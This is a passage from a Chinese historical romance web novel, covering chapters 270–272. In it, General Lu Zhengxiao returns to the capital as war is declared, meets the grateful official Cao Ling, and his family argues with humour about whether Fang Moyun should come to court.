“什么叫我如何办到？你既然看到了，就应该知道我什么都没干。是那家伙，昔日他想揍我便揍我，如今他还是，想冒犯就冒犯，我还没处说理呢！”茉云一脸无语，略微翻了个白眼，心中不禁带着一丝忿然地想起，这家伙好似从未问过我愿不愿意……总是上来想如何就如何，跟个暴君似的，愈发猖狂。
宋夫人愣在原地瞪大了双眼，宋大人和沈师爷却看着茉云忿然的表情，瞬间哄堂大笑，果然，就是方茉云回来了……
正啸一路驰骋北上，直到半夜才赶到驿站，休息不过一个时辰，东方破晓之时，众人便迅速起身整理好行装，继续赶路北上京城，他的眼神中竟没有一丝疲惫。
晌午时分，他们在路旁准备吃碗面继续赶路。若望向正啸那振奋的神情，不禁轻声笑道：“你这是人逢喜事精神爽吗？”
正啸一贯懒得搭理他们的调侃，但就在他们准备起身离开时，正啸突然开口，声音平静却不容置疑：“回京城你们不要再提及她，特别是在我奶奶面前。”
若辰和执礼互相对视一眼，他们心中都明白，京城局势定然十分复杂，开战是圣上力排众议的决定，但宣战并不是一劳永逸。战事一旦开启，十里沙场的滚滚硝烟并不是最可怕的，朝堂上权谋角逐的暗潮汹涌才更凶险。
而卢老太君素来欣赏茉云的桀骜和善斗，必是想她入京，帮助卢家在京城暗涌中立于不败之地，而这却是正啸最不希望的，他不愿茉云陷入深渊之地，成为政治斗争的牺牲品。
执礼此时忽然望向千山，故作压低声音地说道：“回去，老太君若问你方茉云之事，你如何答？”
千山无语地望向执礼，余光去看向正啸，说道：“以前如何答，现在如何答。”
执礼则眉毛微挑，满是调侃意味的说道：“我以前，只能假装心中无任何猜想，回答老太君说，郎无情，妾无意。可如今，万莫你说，咱也不好瞒着老太君吧。”
正啸顿时抬起头，狠
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狠瞪向执礼，众人皆忍俊不禁，万莫则一脸苦恼地挠挠头，说道：“对，茉云要是问起来，你就说我们不能蛮骗老太君。”
执礼顷刻间神色急切，带着几分惶恐地说道：“那方茉云不把我活剐了？瞒着老太君，瞒着就是，你回去别在她面前胡说八道啊。”
瞬间众人忍不住哄堂大笑，气氛一下子轻松了许多。正啸懒得再搭理他们飞身上马，眼前却不禁浮现茉云那狠辣而厉害的模样，嘴角微微扬起，透出了不自觉的笑意。
他们夜以继日赶到京城之时，元帅亦日夜兼程如期赶到。京城的街头巷尾，开战的消息早已如同涌动的潮水，蔓延到每个角落。
民众望见大将军威风凌凌骑马入京的情形，齐聚街头欢呼雀跃，皆满怀期待，兵部和主战之臣更是摩拳擦掌，准备将一切心力都投入到这场关乎国运存亡的大战。
皇上在宫里也一直在等着，直到抬目看向风尘仆仆赶来，依旧威武不凡的正啸，脸上顷刻浮出了笑意，他特地留了元帅、正啸和若辰和自己一同用膳。
晚膳之时，皇上望向正啸，不再只是平日里帝王的威仪，反而透出几分长辈的关怀之色，眉眼间皆是爱护。
“啸儿此次南境归来愈发精神，不愧是朕的大将军。”皇上意味深长地看着正啸继续说道，“这几日，朕还与关太傅商议，想着该如何加封赏赐于你，也好让天下人知晓啸儿的护国安民之功。”
正啸闻言，并未如旁人般欣喜谢恩，反而神色坦然地说道：“皇上，自古大战在即，加封将帅，是为励其振奋，也是为振军心、立军威，但臣已不需要，恩赏太过，反而平添事端。”
殿中众人顿时皆抬目望向正啸，他竟好似与皇上在家中闲谈一般。
元帅闻言，顷刻间眉头紧皱，回头低声斥道：“如何跟皇上说话的？还不跪下请罪！”
“罢了！”皇上却被逗笑了，长叹一口气，没有带任何怒意的骂道，“你啊，也就是幼时，朕把你惯坏了。这几日你上朝，若言事，你给朕过过脑子。”
正啸抬眸望向皇上，语气亦无奈地说道：“知道了。”
皇上无奈地转头望向关太傅，说道：“大战在即，你也提点提点他，莫让他一张口一抬手就把朝堂搅得翻天覆地。”
关太傅轻轻笑了，微微颔首，拱手道：“是。”
晚膳后，正啸等人辞别皇上，出宫之时，皇上特意嘱托正啸：“啸儿，京城春意尚寒，不比南境暖，记得多穿些衣裳。”
正啸微微一顿，抬首望向皇上，眼中闪过一丝难得的温和，沉声道：“臣谨记，您也是。”
皇上望向正啸微微点了一下头，正啸旋即躬身行礼之后，便转身退下。皇上远远望去，宫门下正啸笔挺的身影踏着夜色……是谁已点燃了他如此昂扬的斗志？好似浮舟沧海，立马昆仑，志存千里，万山无阻。
夜色下，正啸骑马回卢府，京城繁华依旧，春寒料峭，却无处不感知蛰伏渐至勃发之意。
而他心中热血确是早已激情澎湃，就在她离别时说“卢正啸，此战必胜！”的那一刻，身躯血脉就好似被点燃一般。
任街道如此喧哗热闹人影绰绰，正啸策马望向前方，入目却无人,只有茉云那生而热烈的笑颜，出现在眼前，心心一念，大道不孤，势均力敌的灵魂，让爱意汹涌四起。
270.心悦
翌日，皇上已下旨，今晨宣京城所有四品以上官员进殿听宣，此时，文武百官已齐聚殿中。庄严的大殿内，气氛沉寂却又隐隐透出一触即发的气势，百官神情不同，却皆屏气凝神，因为谁都明了——宣战诏书就会在今日颁布。
待皇上气宇轩昂走上金殿，满朝文武立即下跪齐呼万岁。
圣上让百官平身后，声音铿锵有力说道：“众卿家，朕已决定，讨伐峑戎！”
关太傅旋即上前，恭敬的接过诏书，威严的立于群臣前，宣旨之声如雷霆般震撼。
“奉天承运，皇帝诏曰：
自古边疆稳固，万民安泰，乃国之大计。我朝自开国以来，与四夷立盟，共享太平之福。
而峑戎一族，背盟弃义，狼子野心，无视天理纲常，数年以来，勾结贼恶，搅乱四方。朝廷本怀仁德之心，然今者，其狂悖更甚，袭我裴桥，残我百姓，屠戮盟国，血流成河，深触朕心！天下苍生，皆有所望，朝廷岂能坐视。
朕特令卢元帅为征讨大元帅，领其麾下少帅卢正啸统率三军，征讨贼寇，荡平南境之祸，捍卫万民之安。
此战，非为争地，乃为天下；非为夺利，乃为苍生！特昭告天下，布告九州，凡天下臣民，共知国恨家仇。
今举国同心，共伐贼寇，峑戎必灭，天下可安，四海升平，此战必胜，则万里江山，永固太平！
钦此！”
宣召之声回荡在整个朝堂，气吞山河，宣告着这是一场必定会波澜壮阔的讨伐之战。
朝堂上的文武百官无不振奋，如同被点燃的火焰般，齐呼道：“皇上圣明！”
正啸身着皇上亲赐的少帅官服立在一旁，身姿挺拔目光如电，不论未来的征途充满多少血泪与荆棘，此乃卢家军几辈人之夙愿，亦是自己生于世的意义。他自幼便在卢家列祖列宗前立誓，誓要承志于先辈，不再苟遗于后人，平定南境再无战患，将军不必死守边关。
就在这一瞬，她那凌冽而决绝的眼神又出现在他的眼前——此战必胜。
散朝之后，诏书好似长了翅膀一般，传遍了整个京城。全城的民众都为这场即将到来的正义之战而振奋，信念与荣光汇聚成一股强大的力量。街头巷尾群情激愤又斗志昂扬，荡平南境之祸，捍卫万民之安，实为民心所向。
正啸出宫门后，正欲往兵部去商议战事安排，便见关太傅早已立于宫门前，目光温和如常，似是专门在等他。正啸微微一顿，和若辰二人立刻上前恭敬地行礼。
关太傅轻轻颔首望向正啸，笑容依旧温润，却透出几分深意：“皇上已任命一位户部主事，专权统筹军粮、军饷调拨之事，凡事可直接向圣上奏禀，权责极重。你择日见一见他，带着若辰、执礼他们熟悉一二，日后也好共事。”
正啸目光微敛，他当然知晓其中利害，大战在即，粮草先行，军饷和军粮皆是重中之重，这些年南境供养大军还尚可，但是大战一旦开启，南境必受波及，到时必须举全国之力供养三军，关太傅之深意他自是心中明了，随即郑重拱手行礼道：“多谢关叔提点。”
关太傅含笑点头，眼神深邃地望向正啸：“正啸，如今你身负重任，定是诸事繁忙，但心定则定。”
正啸深吸一口气，随即缓缓点头。关太傅定然是看出来了，自己现在恨不得一日之内，将所有军务事宜处置妥当，便启程回归大营。但关太傅所言不错，凡事欲速则不达，尤其是如今这京城局势，应步步为营。
关太傅见他心有领悟，微微一笑，轻轻拍拍他的肩膀，不再多言，转身登上轿，缓缓而去。正啸和若辰等人皆恭敬地行礼送关太傅离去。
执礼起身抬头之时，微微皱眉，似乎还未能理解皇上的安排，低声问道：“一个户部主事竟能担当如此大任？”
直到晌午之时，正啸与若辰、执礼同罗景城一同午膳，席间，罗景城才告诉了他们，此人名为曹凌，乃是今科榜眼，才学极高，且精通算术与统筹，年纪轻轻处事却沉稳老道，入户部不过几年，便已助户部清理出国库诸多隐匿亏空和欠款，手段与能耐皆非常人。
此人现在还是户部尚书的乘龙快婿，仕途顺遂。而且他性子孤傲，不喜结交朝臣，亦是因为这一点，圣上对他更为赏识，特意委以重任，他在朝中可谓是平步青云。
席间，景城还反复跟正啸强调，此人若是实心办事，日后对卢家军肯定是极大的助力，关键是……看正啸能否收服此人。
执礼深吸一口气，望向正啸，他知道少主向来从不刻意拉拢示好朝臣，但此人实在至关重要，军饷军粮调度乃是战事根本，倘若此人不得力，不知日后会生出多少波折。
待与景城午膳后，他们去兵部路上，执礼向正啸提议道：“谢青如今也在户部，他昨日提起，说待您不忙之时，想来拜见您。我看不如让他一道来，毕竟同僚之谊，也好畅谈。”
若辰望向他，心中知晓正啸所思，他自幼便最厌恶拉帮结派，更不屑借私交论政事，但京城之局不得不稍作权衡，从权而行。
正啸最终缓缓点了头，今日见到景城，一看便知大师兄景城都为了这一战，已经毅然决然将自己置于京城权利争斗的漩涡中，而自己又有什么资格如此执拗呢？
晌午后，正啸在兵部处理军务，忽听外面传来通报道：“户部曹大人、谢大人求见少帅。”
正啸双眉微蹙，随即放下笔，说道：“请。”
执礼闻言，不由自主地向门外望去。只见院中走进一人，身形笔挺，昂首阔步，执礼吸了口气，此人一看便知性子孤傲。
然而，就在那人一抬眼望见房内的正啸时，神情瞬间一变，旋即低头小步疾奔而来，跪伏在地，语带激动地行礼道：“见过少帅！”
正啸微微抬头，目光离开手中公文，说道：“请起。”
然而，那人却丝毫没有要起身的意思，反倒是郑重地磕头行了大礼，叩首之声落地有声，令在场众人皆不由自主地看向他，眼中透出几分诧异。
那人抬起头，眼中满是崇敬，笑容灿然，语气中还透出几分欣喜：“数年未见少帅，您还是这般气宇轩昂，威武不凡！”
此时，谢青也迈步走进，向正啸行礼，随即指着跪地之人笑道：“少帅可还记得曹凌？”
正啸望着曹凌，片刻后，神色终于松动，目光温和地说道：“考取功名了？”
曹凌闻言，顿时露出少年般的欢喜之色，连忙点头。
若辰微微一怔……他好像就是当日中州那个被污蔑下了大狱，差点丧命的少年，是正啸力排众议，更是扛住了京城来的压力.授意茉云为他洗刷了冤屈。
执礼也恍然大悟，低声道：“大人是……中州那位曹凌？”
曹凌望向众人，朗声笑了，指着自己说道：“我就是那个当年方大人说‘小模样长得挺好，什么姑娘泡不到，没必要去强抢民女，头发修修，洗个脸，长大以后考个功名，大把好事等着你’的那个曹凌！”
此言一出，众人顿时哄堂大笑，曹凌目光却热切地望着正啸，眼神中的仰慕与崇敬好似从前，但此刻，他已不再是当年那个在生死边缘徘徊的无助少年，而是众人仰望，气度不凡的朝堂新贵。
当日他高中榜样，曹凌本写得一手好文好字，本有机会被选至圣上身边为其拟文，那可是百官争着抢着都要去之地，可是他却选择去了户部，只因他心中有大恩要报。
若辰望向曹凌温润而赞赏地笑了：“没想到是你，短短几年时间，如此长进。”
“谢关大人谬赞，也谢谢关大人当年谬赞过卑职诗赋如人皆贵重，当日我上京赶考时去拜会茉云姐，姐说你大胆去考，说连京城最贵的那个贵贵，都觉得你贵，你怕个鬼。”曹凌想着便忍俊不禁的笑着说道“她说我日后肯定比她混得好。”
众人听他提起了茉云，皆灿然而笑，执礼望向曹凌说道：“那可未必，方茉云如今可是三品的云麾将军了。”
“她当了将军有何了不起，我还以为茉云姐至少能在少帅身边混个小妾。”曹凌顿时便调侃的望向众人说道。
谢青亦是戏谑的接过话，故作小声的望向执礼说道：“执礼，我亦听闻，卢老太君和元帅亦看重她……可这究竟是少帅看不上将军，还是将军看不上少帅。”
“这我如何说得清，我也不敢乱说啊！”
众人顿时忍俊不禁，若辰亦意味深长的望向正啸，正啸依旧一脸的严峻，他素来懒理他们的调侃，只是眼中不自觉的透出了温和。
“不说笑了，卑职向少帅汇报一下军粮和军饷筹措的情况。”随后，曹凌向正啸简明扼要地阐述了自己的方案以及国库盈余的情况。
正啸听后满意地点点头，说道，“嗯，不错，有劳了。”
曹凌眼中都是坦诚，恭敬而谦逊的说：“谢少帅，少帅前方大战，卑职一定竭尽全力，肝脑涂地，保卢家军后勤事务，请您放心。”
正啸温和地点了点头，心中的一块大石终于放下了。
晚上若辰设宴，宴请了正啸和曹凌，宴席上特地准备了中州小食。曹凌心里知晓，若辰一直也是个心细如尘之人。记得当年在中州，若辰曾请曹凌赴过关家文宴。当时，众多中州的文人都未曾看过他一眼，而曹凌又心中孤傲，不屑阿谀奉承。
若辰则亲自端了点心给他，温润一笑道：“花成花，树成树，各自风流。”
曹凌当时心中一暖，慢慢地收起了自己的锋芒，这些年自己都时常感慨，山穷水尽之际，自己真是何其有幸，能遇到他们这些好似人间光芒之人，
晚宴之时，众人谈笑风生，气氛融洽。若辰温润的看向曹凌，问道：“当日，方茉云可知你上京赶考了？”
“当年臣砸锅卖铁，亦没凑够银子上京赶考，茉云姐和青岚姐凑了几两银子给我，我出发当日，茉云姐还石破天荒地请臣吃了碗面。”
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众人忍俊不禁，谁不知茉云是出了名的“铁公鸡”。
执礼举起酒杯笑着说道：“我记得当日关大人曾说过，若有困难，你可去府上找他。”
曹凌温和地举杯与执礼同饮，谦逊的笑了说道：“岂敢叨扰。”
若辰微微一笑，没有再说什么，曹凌其实骨子里的硬气与茉云一样，故而当年茉云只见一眼他的字，便一定要救他。
执礼则继续问道：“她可知如今你身居要职吗？”
“这些年卑职未曾敢打扰她。她曾说过，我若没有混得这满京城之美食，可请其随便吃，就别联系她。我时常会回想，掂量一下茉云姐那食量，便知自己路漫漫其修远兮。”
众人听后更是忍俊不禁，气氛愈加轻松愉快。
此时曹凌举起了酒杯，恭敬的望向正啸说道：“少帅，昔日我上京之前，在面摊前，茉云姐说，以茶代酒敬我，我问茉云姐敬我什么，愿我高中吗？茉云姐笑了举起茶杯说，敬理想和赤诚。今日曹凌借茉云姐这话敬您，敬您的理想和赤诚，愿卢家军讨伐峑戎这旷世一战，凯旋而归。”
“好！”正啸嘴角难得的浮现出了笑容，亦举杯和曹凌碰杯，两人一饮而尽。
若辰则端起酒杯，轻轻抿了一口，笑着重复了茉云的话：“敬理想与赤诚……”
“是的，当日茉云姐举杯之时，我心中顿觉涌起一股挺立潮头，方见云阔天高的澎湃。” 曹凌放下酒杯顿了顿，又被逗笑了说道，“茉云姐却笑得甚为开心，接着说，想到待我高中之后，再娶个达官贵人的小姐飞黄腾达，她日后来京城便有人可骗吃骗喝了。卑职有时真的很费解，茉云姐是如何在壮志凌云，豪情万丈和猥琐贪吃之间，切换得如此自然又自若，我都有些恍惚。”
顿时，众人皆是哄堂大笑，正啸撑着头眼中亦闪过一丝无语的笑意，茉云便是这般德性之人，前一刻还气场八丈高的挑剑迎敌，下一刻，刚打赢，剑还未收，又可蹲在地上惋惜自己掉落的饼，权衡一番看是否还能捡起来吃……
曹凌起身亲自为正啸等人将酒杯倒满，继续说道：“我当日还问她，我说姐，你想吃啥好吃的，你去京城不能问你家大人要吗？她说，我家大人是谁，卢大人啊，他能有啥好吃的，他吃饭的时候，估计都不知道自己咬的是什么，压根不是为了吃，只是为了活着。只有在他发飙之时，他才能确认，他可能是想咬死我的。”
众人更是捧腹大笑，气氛一片欢愉，连执礼和千山也忍不住笑出了声。晚宴后，众人准备离席之时，外面居然淅淅沥沥的下起了春雨，若辰本要派人送曹凌，曹凌却一再婉拒。
当他们走出迎宾楼，便看见曹府的小厮在门口拿着伞等他。小厮见到曹凌，立刻上前恭敬地说道：“爷，夫人说春雨寒，让小的来给您送伞。”
若辰旋即便笑了说道：“曹夫人如此贤惠，那我便不耽误了你夫人待你之情意。”
曹凌亦温和地笑了，虽然满朝皆知他是尚书大人的乘龙快婿，但其实他内心绝不是攀附权贵之人，他与夫人之缘分，并不是单凭家世和地位，而属实是两情相悦，可这些他亦从不屑与他人解释。
但此刻，曹凌目光中都是温润的望向正啸和若辰，说道：“昔日青岚姐姐说，待我一展抱负之时，再找个心悦之人，共度余生，岂不快哉。”
说到此，他顿了顿，目光透出一丝深邃，带着些许思量地继续回忆。
“我当日还小，离开中州之时，问茉云姐，我怎知何人是心悦之人。茉云姐看向我，说，我不知道你，但是于我而言，人即便待我万般厌弃，见我之时眼神都好似想咬死我，而我时常亦想咬死他，可是不论彼此如何厌弃，风雨交加之时，我总想为他撑把伞，这大抵就是心悦于他。”
正啸愣了一刻，望向曹凌，若辰看着正啸，微微一笑，也未言语。曹凌则意味深长的笑了，微微低头，恭敬地行了礼告辞离去。
春雨入夜，着实寒气袭人，正啸在雨中撑着伞静静走着回卢府，伞上滴答的雨声在夜空中回荡。
自幼正啸好似便没有打伞的习惯，在这如深渊般的京城，更是每次面对风雨，他总是任之风雨飘摇，逆风疾步而行。
而今日，正啸刻意放慢了脚步，千山跟随在后，眼中带着些许不解。当他们经过万春楼时，正啸居然抬头看了一眼，那些悬挂在楼前的红灯笼，千山更是微微吃惊，他知道正啸向来瞧都不瞧一眼这些烟花之地。
而他透过雨，看一切都显得有些朦胧，他压根看不清这儿是哪，只觉得这红灯笼好似中州的心月楼……
正啸深吸一口气，好不容易压制而来的冷静克制，又因为曹凌之言，好似点燃了燎原之火，所幸夜晚无事之时，四下无人这刻，自己终于能放任思念流淌。
他眼中那份隐秘的柔情，好似与绵绵春雨交织在一起。他心中却不禁无语叹息，自己何时厌弃过她？不过是早就……心悦汝兮汝不知罢了。
271.带劲
京城的春雨，细如牛毛，随着夜风轻轻飘动，仿佛这片雨幕皆是柔情的渲染，把整个京城笼罩在一层淡淡的朦胧中。
卢府大门前，高高挂起的古朴灯笼，微弱的光在雨夜中，依然闪烁着温暖，正啸走进府门时，身上的湿气似乎没有完全散去，迎面便传来一阵熟悉的欢声笑语。
依妮开心地冲了过来，眼中皆是兴奋的光芒：“爹，您回来了！”
正啸顿时眼神一愣，目光不由自主地停留在依妮身上。她如今已不再是那小小的女孩，个头几乎与他肩膀平齐，眉眼之间带着一股清朗和英气，已经完成出落成大姑娘了。
正啸眼神中顷刻透出温和的光，微微低头望着她，笑着问道：“今日回京的？”
依妮灿然一笑，愉快地挽住了正啸的手臂，开心地说道：“许久未见爹爹，去军营诸多不便，知道爹爹回京了，便跟师傅和师祖请命，回京来了。谁曾想回到京城不仅能见到爹，还能听到这般好消息，知道爷爷和爹爹终于可以带领卢家军收复边关了。”
正啸听着，心中一阵暖意，正要开口问她在琼华呆得是否开心时，老太君便拄着拐杖从屋内走了出来，神情依旧严厉：“怎得柔弱得这点毛毛细雨，还能将少帅淋出个好歹不成，居然还打起伞来了。”
千山马上接过正啸手中的伞，正啸则恭敬地说道：“奶奶。”
依妮眼中闪过一丝不乐意，嘴角带笑却毫不迟疑地反驳道：“太奶奶，爹爹连沙场上的腥风血雨都不怕，何畏这牛毛细雨，况且我爹英伟不凡天下皆知，还须平白无故地淋雨来自证刚强？岂非傻也？”
众人都吃惊地望向依妮，她居然敢如此驳老太君的话。
老太君却微微挑眉，丝毫不含愠怒地望向她，嘴角扬起一丝笑意，说道：“嗯，她把你教得这般牙尖嘴利也好，免得日后受欺负。所有人都跟我来吧。”
众人随老太君一同往祠堂走去，依妮则娇俏地笑了，扶着老太君说道：“日后依妮回来，亦帮着太奶奶对付那些重伤卢家的恶人。”
老太君则眼中透出稍许不悦，说道：“那你……跟她比还是差远了。”
走入祠堂后，老太君带着众人为老卢帅上香，她深吸一口气，抬头望向祠堂的灵位，缓缓说道：“老头子，圣上终于对峑戎宣战了。”
这话透出一丝无法掩饰的感慨，气氛顿时凝重，众人心中皆感受到一种难言的情绪，这一日便是从老卢帅当年开始，卢家等至今日。
“都怪我，这些年，卢家子孙竟如此不济。小崔……去见你了吧。”说到这里，卢老太君的语气略微带着痛楚和无奈。
卢帅则顷刻咬紧牙，情不自禁地眼眶微红，自己老伙伴又离开了一个。
卢老太君却眼神坚定，带着几分刚毅继续说道：“所幸卢家得列祖列宗和天命护佑，平定南境指日可待。”
她虽已古稀，但语气依旧充满力量，似乎顷刻间就将所有沉重的情绪都化为坚定的力量。
当众人磕完头起身，依妮则欢快地走上前，扶住了卢老太君，忍不住噘起嘴：“太奶奶，卢家子孙人才济济，皆是英雄呢。”
她的话让众人不禁注目而来，卢老太君也忍不住挑了挑眉，说道：“皆是无用之人！之前我只交代你爷爷一件事，他都办不好。”
“何事让太奶奶您这般生气？”依妮好奇地问道。
卢老太君愤然的拄着拐杖，狠狠敲击地面一声，说道：“让他儿子娶了方茉云，让其来京帮我操持卢家！”
话音刚落，众人皆怔了半刻，依妮则笑得前俯后仰。
卢帅长叹一口气，无奈地摊开手，说道：“娘，这事如何能怪我？又不是我的婚事！您那不争气的孙儿，皇上都要下旨了，他抗旨！”
众人顿时忍俊不禁，执礼也偷偷抬目看向正啸，他神情依旧波澜不惊，可眼底明显在克制着什么……
卢老太君抬起拐杖，忿然指着正啸，喝道：“卢正啸，我跟你说过无数次，你的婚姻要的不是郎情妾意，是卢家要用可用之人！你还敢抗旨？你怎不造反呢？”
她言辞激烈，正啸却只是微微皱眉，并未回话,众人皆顿时屏住呼吸，不敢再说笑了。
卢帅则低声回道：“娘，这强扭的瓜不甜，人也不愿意嫁。”
卢老太君则哪儿听得进去这些，继续忿然地说道：“既然你们都这般不济，我自己想办法！将方茉云调入京城任职，不入卢家亦可，只要为卢家所用。”
“奶奶，我不同意将她调入京城。”正啸顿时直视着卢老太君，不容置疑地反驳道。
卢老太君顿时愣住半刻，她都未曾正啸敢如此跟自己说话，瞬间怒目而视：“怎得，我做什么还须你少帅你同意了？”
气氛刹那间就变得紧张，众人屏住了呼吸，卢帅都伸出手，要拉住了正啸的手臂。正啸却好似丝毫没感觉到，没有半分退让，语气皆是强硬。
“奶奶，方茉云此人，您有何信心用她？将她置入京城这深渊之中，您想让她震慑四方，但她可置八方坍塌，您收得了场吗？她确实和卢家一心，只为平定南境，但她性子至刚至烈，您尚能为爷爷委曲隐忍这么多年，但她会吗？她哪次不是万事皆可抛，凭一条小命就可跟人死扛到底，决不退让一步。可京城天子脚下，容得她如此行事吗？”
卢老太君沉默了片刻，眼中闪过一丝狐疑，似乎在思考正啸的话，总透着一丝异样……
执礼马上接过话头，语气温和回禀道：“老太君，方茉云此人一身棱角，您想……昔日柳大人乃少主亲舅，对卢家军亦算是至诚至信，他一直是卢家朝堂上极大助力。尽管他一时行差就错，但方茉云未曾向少主透露过半分，她说办就办，这与自断手臂何异？如今致您在京城愈发艰难。”
“你少帮着你少主唬我，他舅当日是泥足深陷，几近把持朝政，方茉云脑子清醒得很，当日不办他舅，圣上就得处置卢家。况且她当时不让你少主插手，也是为了避免他为难，不然你少主说办还是不办？”卢老太君素来精明强干、见事透彻，她决不是那么好规劝说服之人。
正啸正还要继续强硬拒绝，因为自己绝不可能让茉云入京城。结果被老卢帅一把拉住，卢帅望向老太君温和而决然地说道：“娘，这事我也支持啸儿的想法。”
卢老太君顿时瞪向卢帅一眼，卢帅却依旧不为所动，说道：“娘，您别急，您听我说，我身边东山那小子，素来神智清明，思虑周全，我与他也议过此事，他说得极为有理，茉云是不能离开啸儿的。”
众人顷刻间都抬目望向卢帅，他则摸着胡须，嘴角不禁浮出一丝笑意，语重心长的分析道。
“昔日茉云被正啸她舅贬去了边城，正啸管不到她，那她便在边城大杀八方，把半个城掀了，逼得刺史投河，引得峑戎都率大军攻城，结果硬是将边城毁了，再迁城建边关。您可想象吗？她可是独自一人去的！”
众人都沉默了片刻，卢帅继续摸着胡须笑着地说着：“后来她装作和啸儿闹翻，潜伏进峑戎的暗营，她把那暗营炸得如今连根草都没剩下。她回来之后，啸儿这倒霉催的，还让她离开卢家军，她只是四处游玩到了南华，顺便就再给他舅舅和二姨收拾了……哎。”
卢帅说到此，正啸都呆愣半刻，望向元帅。
元帅则不以为意，继续叹了口气说道：“这裴桥之祸我就不多提了！娘
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，东山分析得没错，茉云这人，只要去啸儿管不到之地，她天都能给你捅了。昔日，中州老宋也跟我提过，他说那峑戎皆是妖魔鬼怪，咱卢家军不在怕的，但着茉云就像那上古的魔兽，她必须得用啸儿镇着。您看，她去祸祸敌人还好，您还想把她弄来京城？谁能镇住她，她等下京城都给您炸了。”
众人顿时再也隐忍不住，哄堂大笑，老太君亦笑出了声，气氛瞬间轻松了许多，而正啸无语眼神中，不由透出一丝无奈。
卢老太君则忽然抬目望向万莫，瞬间问道：“万莫，老太君问你，方茉云喜欢你少主吗？”
万莫马上毫不迟疑地回答：“喜欢啊！”
正啸和千山同时皱眉望向万莫，眼神中透露出几分焦虑，他们都忘记交代万莫了。
执礼则赶紧补充道：“老太君，万莫的意思是……”
“我问的是万莫！”老太君顷刻打断了执礼的话，还冷冷瞪了他一眼，然后转头温和的望向万莫说道，“有多喜欢啊？”
执礼亦不敢再言语了，众人亦都屏息不言，等待着万莫的回答，要知道万莫从不撒谎。
万莫挠了挠头想了片刻，语气依旧直率而坦诚，笃定回答道：“应该不会超过喜欢肉饼。”
顷刻间，众人捧腹大笑。卢老太君笑得不行，看向依妮说道：“你还说你爹英勇不凡？这不是子孙不济？”
“是啦，太奶奶说得都对，我扶您回房。”依妮亦笑得不行，扶着老太君，边走边回头看了祠堂一眼，故意大声说道，“太爷爷，太奶奶说卢家都是靠祖宗和天命护佑，您就带着我外公程老将军、还有黄老将军、崔老将军他们，率领天兵从天而降去收拾峑戎吧，让我爹也轻松点。还有，您要记得回来见见太奶奶，她日日都想念您，眼里只有您，故而觉得子孙皆不济。”
卢老太君抬起拐杖打了过去，满面怒容却并未真动怒的骂道：“你多去跟她学点好，将我气死了就一了百了。”
依妮瞬间则躲开了拐杖，然后笑嘻嘻地继续上前扶着老太君回房。
众人皆忍俊不禁，气氛也迅速松弛了下来。正啸亦深深松了一口气，老太君似乎暂时放弃了将茉云调入京城的想法。
此时，正啸的二叔钟远也松了口气，低声说道：“哥，您说得一点没错，方茉云这样的人，咱家惹不起躲得起。”
卢帅和他弟素来感情不错，此刻他却没好气地瞥了瞥二弟，无语地说道：“你怎么理解的？我什么时候说她不好了？老夫觉得茉云做我儿媳妇挺好，她就该和啸儿呆一块。”
钟远愣了一下，没反应过来的说道：“哥，你刚还说她是魔，这等不贤良淑德，乖张狠戾的女子，如何能照顾好啸儿。”
“照顾什么照顾，也不知啸儿怎得教出来的，跟他爷爷一样，严酷刚烈，他哪需要什么贤良淑德，温柔可人。”卢帅瞬间看向他弟反驳道，但是说到此，卢帅也顷刻降低了声音小声说，“我啸儿，他就得跟咱爹一样，找个咱娘这样的……‘恶妇’，那日子过得才够带劲。”
钟远若有所思的摸着胡须，点头赞同的说道：“哥，这虽不合常理，但是你这般说，好似也有理！”
执礼他们几乎没忍住笑出声来，正啸则一脸无语地转身回房了，春雨依旧让夜色迷蒙，但是他心中不禁荡漾着一丝暖意，这或许就是父子连心吧。
是不合常理，自见她第一面起，自己就发现了，一切都不合常理，自己用尽所有的神智在提醒自己，若沉沦，会如猛兽，会如烈焰，但终究无用！
而此刻，更是连等待，权衡与克制都放弃了，自己这一生好似从未如此溃不成军过，但那又如何——失控的爱意，如此带劲。
272.千里
翌日清晨，东方破晓之时，正啸走出房门，准备与父帅一同上朝。踏入院中便见到依妮站在那儿，好似已等候多时。
依妮一见正啸，便笑靥如花，兴奋地说道：“爹，您指导一下依妮剑法吧！”
正啸温和地望向她，答道：“好。”
依妮立刻拔剑练了起来，正啸微微愣了一下，她练的竟是茉云的剑法。他静静地看着。依妮挥剑之时动作娴熟，舞剑舞出了几分琼华之韵味。但是确实缺乏实践经验，落于招式，而未灵活应变。
练完之后，依妮满脸期待的望向正啸：“爹，您觉得我剑法可有我茉云姨的五成功力？”
正啸被依妮问笑了，却没有直接回答，他定然不会哄骗女儿，这剑法连茉云的三成都比不上，但他又不忍打击依妮的积极性……
此时元帅则从旁走来，满脸欣慰地说道：“有，颇有女侠风范，不愧是我卢家的大孙女。”
依妮得到了这番认可，瞬间就开心地笑了，信心满满地说道：“下次见到茉云姨，我一定要好好与她切磋一番，让她再也不用让着我了！”
正啸此时忍不住笑了出来，摇头说道：“那你还是悠着点，先和千山叔叔他们练练。”
“啊？千山叔叔，若是让茉云姨不让着我，我是不是还是会被她一脚踢飞，贴墙上？”依妮转头望向千山说道，可是望见千山一时不知如何应答的样子，依妮又望向万莫说道，“万莫叔，千山叔为何不说话！”
万莫一脸坦诚的回道：“因为我哥若跟茉云切磋，也会被她一脚踢飞，贴墙上！”
“你以为你好多少？”千山顿时望向万莫忿然骂道。
万莫一脸憨直的回答道：“没有啊，除了少主，是人都会被她一脚踢飞，贴墙上！”
元帅瞬间灿然而笑，摸着胡须，朝众人骄傲的说道：“所以说我儿，英伟不凡。”
顿时，众人哄堂大笑，正啸亦无语的被逗笑了。清晨薄雾未散，卢家却难得的沉浸在一片温馨的欢声笑语中。
时辰不早了，正啸随着卢元帅走出院门，上马准备前往朝堂，热闹的清晨，心情亦畅快。
散朝之后，正啸和若辰又一同被召入御书房，皇上见到他们之时，目光中便透出几分深邃。
让他们平身之后，皇上语重心长地说道：“啸儿，我知卢家与太师府的嫌隙由来已久。”
正啸和若辰都微微一愣，抬目望向皇上，没想到皇上竟在今日如此直截了当地提及此事。
皇上深吸一口气，沉默片刻后，缓缓开口：“啸儿，你也知道，太师是朕的恩师，当年若不是先皇……，你也许都成为太师的孙女婿。将心而论，就像你极为疼爱依妮，蕊儿当年更是太师最疼爱的长孙女，可谓是掌上明珠。往事的种种，你也知晓缘由。”
若辰深吸一口气，望向皇上，他居然提及这些往事，那时他们都还是幼年，太师与老卢帅可谓都是朝堂砥柱，心心相惜，彼此颇为敬重。
